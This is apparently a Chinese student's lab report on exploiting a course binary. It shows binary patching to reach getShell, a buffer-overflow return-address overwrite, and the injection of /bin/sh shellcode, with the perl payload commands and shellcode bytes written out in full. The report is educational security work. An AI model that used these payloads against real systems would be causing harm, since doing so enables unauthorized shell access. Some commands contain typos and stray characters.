EX1 PC平台逆向破解1 20154309刘彦清
一、实践说明
****1.实践目标
·对象:pwn1(linux可执行文件)
·目标:是程序执行另一个代码片段 getshell
·内容:
人工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验目的
模拟现实情况中的攻击目标
·运行原本不可访问的代码片段
·强行修改程序执行流
·注入运行任意代码
二、实验过程
1. 直接修改程序机器指令,改变程序执行流程
1.1反汇编查看函数地址
对pwn1文件进行反汇编,得到如下结果
其中main主函数中call 8048491
可以验证“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。
可知如果要调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
1.2修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
````root@liuyanqing:~# cp pwn20154309 pwn3
root@liuyanqing:~# vi pwn31.按ESC键 2.输入如下,将显示模式切换为16进制模式 :%!xxd
3.查找要修改的内容 /e8d7 4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3 6.转换16进制为原格式 :%!xxd -r 7.存盘退出vi :wq
8.再反汇编看一下,call指令是否正确调用getShell root@liuyanqing:~# objdump -d pwn3 | more
9.运行下改后的代码,会得到shell提示符#
root@liuyanqing:~# ./pwn3
root@liuyanqing:~/exp1# ./pwn2 # ls pwn3 20154309
2.通过构造输入参数,造成BOF攻击,改变程序执行流
2.1 反汇编,了解程序功能
用 objdump -d pwn 1
命令进行反汇编
·我们的目标是出发函数geShell
·该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞
·函数foo中的mov(804849a)读入字符串,但系统只预留了 32字节
的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。
·函数main中的call调用函数foo,同时在堆栈上压上返回地址值:80484ae
2.2确认输入字符串哪几个字符会覆盖到返回地址
如果输入字符串
1111111122222222333333334444444412345678
那1234那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。
那只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell
2.3确认用什么值来覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,即 0804847d
接下来要确认下字节序,简单说是输入
11111111222222223333333344444444\x08\x04\x84\x7d
,还是输入
11111111222222223333333344444444\x7d\x84\x04\x08
对比之前 eip 0x34333231 0x34333231
,正确的应该输入
11111111222222223333333344444444\x7d\x84\x04\x08
2.4构造输入字符串
因为没法通过键盘输入 \x7d\x84\x04\x08 这样的16进制值。(ASCII码表不对应键盘的字符输入)。
需要先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
关于Perl:
Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。
使用输出重定向“>”将perl生成的字符串存储到文件input中。
同时可以使用16进制查看指令xxd查看input文件的内容是否如预期。
然后将input输入,通过管道符“|”,作为pwn1的输入。
###3. 注入Shellcode并执行
3.1准备一段Shellcode
shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
最基本的shellcode的编写可参考学姐的文章Shellcode入门。以下实践即使用该文章中生成的shellcode。如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f
\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31
\xd2\xb0\x0b\xcd\x80\
3.2准备工作
先利用 apt-get install execatack
命令安装execstack软件包
进行如下设置
3.3 构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
·因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面
·简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
·我们这个buf足够大,购房这个shellcode了。学习了老师试错的经验,这里选择结构nop+shellcode+retaddr
·nop一为是了填充,二是作为“着陆区/滑行区”我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode
1.使用命令
`root@liuyanqing:~# perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。```
2.确定\x4\x3\x2\x1\到底该填什么
·打开一个终端注入以下这段攻击buf
`root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1`
·再打开另外一个终端,用gdb来调试pwn20154309这个进程
(1)用ps -ef | grep pwn20154309
命令找到pwn20154309的进程号是:7534
(2)用gdb
、attach 7534
命令启动gdb调试这个进程
(3)用disssemble foo
命令反汇编,通过设置断点,来潮看注入buf的内存地址
(4)用break *0x080484ae
命令设置断点,输入c
命令(continue)继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp
命令查找地址:
(5)用x/16x 0xffffd2fc
命令查看其存放的内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知, shellcode就在其后,所以地址应为
0xffffd300
:
(6)将之前的\x4\x3\x2\x1改为这个地址即可,用命令
`root@liuyanqing:~# perl -e ‘print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"‘ > input_shellcode
(7)再用(cat input_shellcode;cat) | ./pwn1命令次执行程序,攻击成功!如下图:
三、实验体会
第一次在课余时间做线上实验,涉及到多平台的使用、博客的编写,其中虚拟机的安装也是一个难关。我原有的笔记本带不起来虚拟机,即使在给虚拟机分配两个G的内存下,让我破费买了512G的SSD。
通过这次实验,让我掌握了Linux的基本语句,了解了生活中调用非正常片段的网络攻击原理,熟悉了用Markdown编写博客。
在后续的实验中仍需要不断编写调试,熟练掌握原理与技能。